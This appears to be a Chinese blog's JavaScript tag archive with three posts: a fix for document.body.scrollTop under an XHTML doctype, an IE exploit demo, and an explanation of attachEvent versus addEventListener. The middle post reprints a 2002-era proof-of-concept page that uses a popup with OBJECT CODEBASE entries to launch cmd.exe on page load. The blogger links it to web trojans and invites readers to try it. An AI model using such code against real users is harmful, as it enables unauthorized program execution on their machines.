3月 2010
日	一	二	三	四	五	六
« 1
	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20
21	22	23	24	25	26	27
28	29	30	31

Tag-Archive for ◊ JavaScript ◊

document.body.scrollTop失效！！

• 星期一, 5月 04th, 2009

折腾了一天，撞鬼。想在商品列表中点击购买后弹出提示框，根据document.body.scrollTop设置显示位置，可偏偏失效。
原因：当网站做了以下声明时(<!–CTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt–>)，声明后document.body.scrollTop的值永远等于0，解决办法是只需把document.body用document.documentElement替换即可。

——————————————————————————————————

附：javascript中关于top、clientTop、scrollTop、offsetTop等

javascript关于top、clientTop、scrollTop、offsetTop等

网页可见区域宽： document.body.clientWidth;
网页可见区域高： document.body.clientHeight;
网页可见区域宽： document.body.offsetWidth (包括边线的宽);
网页可见区域高： document.body.offsetHeight (包括边线的宽);
网页正文全文宽： document.body.scrollWidth;
网页正文全文高： document.body.scrollHeight;
网页被卷去的高： document.body.scrollTop;
网页被卷去的左： document.body.scrollLeft;
网页正文部分上： window.screenTop;
网页正文部分左： window.screenLeft;
屏幕分辨率的高： window.screen.height;
屏幕分辨率的宽： window.screen.width;
屏幕可用工作区高度： window.screen.availHeight;
屏幕可用工作区宽度：window.screen.availWidth;

Category: JavaScript | Tags: JavaScript | Leave a Comment

javascript运行客户端exe程序

Author: 大仙

• 星期六, 5月 02nd, 2009

这东西真厉害，我想网页木马应该是先将木马程序缓存到临时文件夹然后来一个shell。本地测试了下OK，到这里貌似不行，挂着先了

(说明：这只是提供一种思路，不过能不能运行还要看IE的安全设置。)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>IE6 security...</TITLE> <style type="text/css"> BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb} H1{background-color:#222222;color:#aaaabb} </style> <META http-equiv=Content-Type content="text/html; charset=windows-1252"> <SCRIPT language=JScript> var programName=new Array( 'c:/windows/system32/cmd.exe', 'c:/winnt/system32/cmd.exe', 'c:/cmd.exe' ); function Init(){ var oPopup=window.createPopup(); var oPopBody=oPopup.document.body; var n,html=''; for(n=0;n<programName.length;n++) html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>"; oPopBody.innerHTML=html; oPopup.show(290, 190, 200, 200, document.body); } </SCRIPT> </head> <BODY onload="Init()"> <H1>Hmm, let's start a command shell...</H1> <p> This page doesn't do anything malicious, but is a demonstration of how to execute a program on a remote machine using the marvelously secure Internet Explorer web browser!! </p> <p> Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There are currently no patches available using "Windows Update" which will prevent this. </p> </BODY> </HTML>

提示：你可以先修改部分代码再运行。

Category: JavaScript | Tags: JavaScript | Leave a Comment

attachEvent和addEventListener 使用方法

Author: 大仙

• 星期日, 3月 29th, 2009

<input id="para" type="text" /> <script type="text/javascript"></script> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>JS</title> </head> <body> <input id="para" type="text" /> <script type="text/javascript"> function test(){ alert("test"); } function pig(){ alert("pig"); } window.onload = function(){ var element = document.getElementById("para"); if(element.addEventListener){ // firefox , w3c element.addEventListener("focus",test,false); element.addEventListener("focus",pig,false); } else { // ie element.attachEvent("onfocus",test); element.attachEvent("onfocus",pig); } } </script> </body> </html>

提示：你可以先修改部分代码再运行。

****************实例结束**************************

JS:attachEvent和addEventListener 使用方法
attachEvent与addEventListener区别
适应的浏览器版本不同，同时在使用的过程中要注意
attachEvent方法按钮onclick
addEventListener方法按钮click

两者使用的原理：可对执行的优先级不一样，下面实例讲解如下：
attachEvent方法，为某一事件附加其它的处理事件。（不支持Mozilla系列）

addEventListener方法用于 Mozilla系列

举例: document.getElementById(”btn”).onclick = method1;
document.getElementById(”btn”).onclick = method2;
document.getElementById(”btn”).onclick = method3;如果这样写,那么将会只有medhot3被执行

写成这样：
var btn1Obj = document.getElementById(”btn1″); //object.attachEvent(event,function);
btn1Obj.attachEvent(”onclick”,method1);
btn1Obj.attachEvent(”onclick”,method2);
btn1Obj.attachEvent(”onclick”,method3);执行顺序为method3->method2->method1

如果是Mozilla系列，并不支持该方法，需要用到addEventListener var btn1Obj = document.getElementById(”btn1″);
//element.addEventListener(type,listener,useCapture);
btn1Obj.addEventListener(”click”,method1,false);
btn1Obj.addEventListener(”click”,method2,false);
btn1Obj.addEventListener(”click”,method3,false);执行顺序为method1->method2->method3

使用实例：

1。 var el = EDITFORM_DOCUMENT.body;
//先取得对象，EDITFORM_DOCUMENT实为一个iframe
if (el.addEventListener){
el.addEventListener(’click’, KindDisableMenu, false);
} else if (el.attachEvent){
el.attachEvent(’onclick’, KindDisableMenu);
}2。 if (window.addEventListener) {
window.addEventListener(’load’, _uCO, false);
} else if (window.attachEvent) {
window.attachEvent(’onload’, _uCO);
}

Category: JavaScript | Tags: JavaScript | Leave a Comment

Pages

Categories

Archives

Calendar

Tag Cloud

Meta

Tag-Archive for ◊ JavaScript ◊